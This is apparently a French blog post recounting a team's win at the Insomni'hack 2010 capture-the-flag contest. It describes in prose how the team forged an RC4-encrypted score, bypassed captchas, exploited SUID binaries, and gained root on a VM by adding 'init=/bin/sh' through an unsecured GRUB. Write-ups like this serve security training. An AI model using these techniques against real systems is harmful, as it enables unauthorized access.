<p>Dans cette épreuve flash faisant partie de la série &laquo;&nbsp;les soirées de Kévin&nbsp;&raquo;, il fallait tirer sur un caribou pour obtenir un score le plus élevé possible. Ce score était alors envoyé au serveur, qui affichait le code de validation si le score était suffisamment élevé. Sauf qu&rsquo;il était physiquement impossible d&rsquo;atteindre un tel score, à moins d&rsquo;être un maniaque de la souris&#8230;</p>
<p>Virtualabs et Fluxius se sont alors mis à décompiler le flash, et on trouvé que le score était d&rsquo;abord chiffré en RC4 puis envoyé au serveur. Bien entendu, la clé RC4 étaient hardcodée dans le flash. Apres extraction de la clé, il leur a donc été possible de forger un score de plusieurs millions de points, de le chiffrer correctement et de l&rsquo;envoyer au serveur pour que celui-ci accepte de révéler le code de validation.</p>
<div class="wp-caption aligncenter" style="width: 458px"><img title="La team soutenue par son sponsor..." src="http://lh3.ggpht.com/_Rzr3MErwyvk/S138GrEDm0I/AAAAAAAAEzM/doNjRmRORRA/s640/012.JPG" alt="La team soutenue par son sponsor..." width="448" height="336" /><p class="wp-caption-text">La team soutenue par son sponsor...</p></div>
<p style="text-align: center;">
<h3>300 captchas</h3>
<p>Épreuve &laquo;&nbsp;kikoo&nbsp;&raquo; n°2. Il fallait résoudre 300 <a href="http://fr.wikipedia.org/wiki/Captcha" target="_blank">captchas</a> sur une page Web dans un laps de temps très bref. Même si dans l&rsquo;absolu c&rsquo;est théoriquement envisageable, cela reste quand même assez incertain. Il fallait donc remarquer que l&rsquo;URL de validation du captcha contenait en réalité le texte de celui-ci encodé en base64&#8230; Il a donc été assez facile de coder un bot en Python récupérant les pages et effectuant la chaîne de validation pour valider l&rsquo;épreuve.</p>
<h3>Failles applicatives</h3>
<p>La série d&rsquo;épreuve nommée  &laquo;&nbsp;Exploitation&nbsp;&raquo; consistait à télécharger une VM Linux et à exploiter les différentes failles qui s&rsquo;y trouvaient. Il s&rsquo;agissait d&rsquo;une série de binaires SUID comportant différentes failles applicatives. La première n&rsquo;était autre qu&rsquo;un <a href="http://www.ghostsinthestack.org/article-13-les-buffers-overflows.html" target="_blank">buffer overflow</a>. Le temps de sortir Python, un shellcode Linux, ainsi que GDB, et l&rsquo;épreuve a été validée sans trop de soucis.  La deuxième faille de la série était une format string, un peu plus galère à exploiter. Enfin la dernière était une faille maison qui s&rsquo;exploitait en forgeant le paramètre d&rsquo;entrée de telle sorte à ce qu&rsquo;il soit accepté et que le programme finisse par lire le fichier contenant le code de validation.</p>
<h3>Grub FAIL!</h3>
<p>Pour exploiter ces 3 failles applicatives, il fallait donc être quand même motivé&#8230; Mais il y avait moyen de faire plus simple. Beaucoup plus simple. En effet, les membres du staff avaient oublié un détail crucial : sécuriser le Grub de la VM&#8230; Il était par conséquent possible de rooter la VM juste en ajoutant la chaîne ultra-connue &laquo;&nbsp;init=/bin/sh&nbsp;&raquo; comme paramètre du noyau pour se retrouver automatiquement logué en root. Et paf le shell !</p>
<div id="attachment_755" class="wp-caption aligncenter" style="width: 360px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2010/01/exploit_grub.png"><img class="size-full wp-image-755" title="Owned by Grub" src="http://www.segmentationfault.fr/wp-content/uploads/2010/01/exploit_grub.png" alt="Owned by Grub" width="350" height="79" /></a><p class="wp-caption-text">Owned by Grub</p></div>
<p>Voila ce qui arrive lorsqu&rsquo;on oublie ce genre de détail <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Le staff a d&rsquo;ailleurs fait une drôle de tête quand nous les avons informé de ce léger oubli. Enfin, ils auraient pu jouer le jeu et accorder un bonus supplémentaire&#8230;</p>
<h3>Remise des prix</h3>
<p>A 1h du mat, le challenge se termine et le vainqueur est annoncé. Même s&rsquo;il s&rsquo;agit de moi, je tiens vraiment à rappeler que le véritable vainqueur du challenge n&rsquo;est pas moi, mais bien l&rsquo;ensemble de la team qui représentait HZV ! Le 2ème est Samsa (un Espagnol fort sympathique), suivi de Nagual (de Backtrack-fr) et de l&rsquo;équipe de Maubeuge (merci à Shatter pour le screenshot des scores !).</p>
<p style="text-align: center;">
<div id="attachment_756" class="wp-caption aligncenter" style="width: 510px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2010/01/insomnihack_results.png"><img class="size-large wp-image-756 " title="Résultats Insomni'hack 2010" src="http://www.segmentationfault.fr/wp-content/uploads/2010/01/insomnihack_results-1024x663.png" alt="Résultats Insomni'hack 2010" width="500" height="356" /></a><p class="wp-caption-text">Résultats Insomni&#39;hack 2010</p></div>
<p>Nous recevons alors une panoplie de t-shirts Kaspersky et Insomni&rsquo;hack, ainsi qu&rsquo;un sympathique routeur firewall Fortinet. Bref, de quoi s&rsquo;amuser un peu à Sysdream <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Nous terminons la soirée tranquillement à notre hôtel, accompagné comme il se doit d&rsquo;une bouteille de Vodka, de chips et de saucisson. Bah oui, il faut bien fêter tout ça !</p>
<h3>Annexe : Le poutrage du lapin masqué</h3>
<p>Le lendemain du challenge, après avoir été hanté toute la nuit par l&rsquo;image du lapin (One Time Pad n°3) resté incomprise, je me suis mis en tête de trouver la solution à cette épreuve. Avec GIMP, je me suis aperçu que l&rsquo;outil pot de peinture appliqué (réglé avec un seuil nul) sur des zones aléatoires de l&rsquo;image faisait apparaître clairement des bandes verticales, qui en plus étaient toutes espacées de 7 pixels. Autrement dit, ces bandes avaient beaucoup de chance de représenter les pixels dont le bit de poids fort était à zéro, comme c&rsquo;est toujours le cas en ASCII (non étendu). Le LSB se confirmait de plus en plus&#8230; Ayant Python sous la main, j&rsquo;ai codé un petit tool permettant de parser l&rsquo;image, extraire tous ses bits de poid faible, et ainsi reconstituer le message. A un décalage près, voici le résultat :</p>
<pre>W3LCOME_2_H4CK3R'S_WOND3RL4ND</pre>
<p>On notera la référence au lapin blanc d&rsquo;Alice au Pays des Merveilles&#8230; Maintenant, Crashfr et Fluxius peuvent dormir tranquille sans être hantés <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Seul regret : ne pas avoir eu le temps de valider cette épreuve sur place&#8230;</p>
<div class="wp-caption aligncenter" style="width: 458px"><img title="Les geeks aussi ont le droit de faire du tourisme" src="http://lh3.ggpht.com/_Rzr3MErwyvk/S1y52M-edBI/AAAAAAAAExk/Gq6MhBbSymo/s640/IMG_7072.JPG" alt="Les geeks aussi ont le droit de faire du tourisme" width="448" height="336" /><p class="wp-caption-text">Les geeks aussi ont le droit de faire du tourisme</p></div>
<h3>Conclusion et remarques</h3>
<p>Au final, toute l&rsquo;équipe ainsi que moi-même avons passé un très bon moment lors de cette soirée, riche en ambiance chaleureuse, rencontre, boissons (enfin, nous étions la seule équipe à boire), et prise de tête sur les différents challenges <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . C&rsquo;était la première fois que je me rendais à un événement de ce genre à l&rsquo;étranger.</p>
<p>J&rsquo;aurais toutefois quelques remarques / critiques concernant l&rsquo;événement :</p>
<ul>
<li>Nous avons trouvé assez peu réglo le fait que certaines équipes disposaient d&rsquo;Internet via une connexion 3G, car cela avantage considérablement.</li>
<li>Nous regrettons le manque de réalisme des épreuves, un peu trop axées sur la kikoolol attitude et pas assez sur ce qui se trouve réellement en pentest.</li>
<li>Dommage que l&rsquo;événement se termine si tôt (1h du mat), surtout avec un nom comme &laquo;&nbsp;Insomni&rsquo;hack&nbsp;&raquo;&#8230;</li>
</ul>
<p>J&rsquo;espère que le staff, s&rsquo;il lit ce billet, ne les prendra pas mal ; il s&rsquo;agit au contraire de conseils pour l&rsquo;année prochaine.</p>
<p>En tout cas, félicitations à eux pour avoir organisé cet événement ! Nous espérons les voir le 19 juin à la <a href="http://www.nuitduhack.com/accueil-fr-ndh.htm" target="_blank">Nuit du Hack</a> <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><a href="http://www.slashon.com/index.php/2010-01-25/InsomniHack_2010_HzV_Winners" target="_blank">Plus de photos sur le blog de Fluxius</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/insomnihack2010-hzv-won/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
	</channel>
</rss>
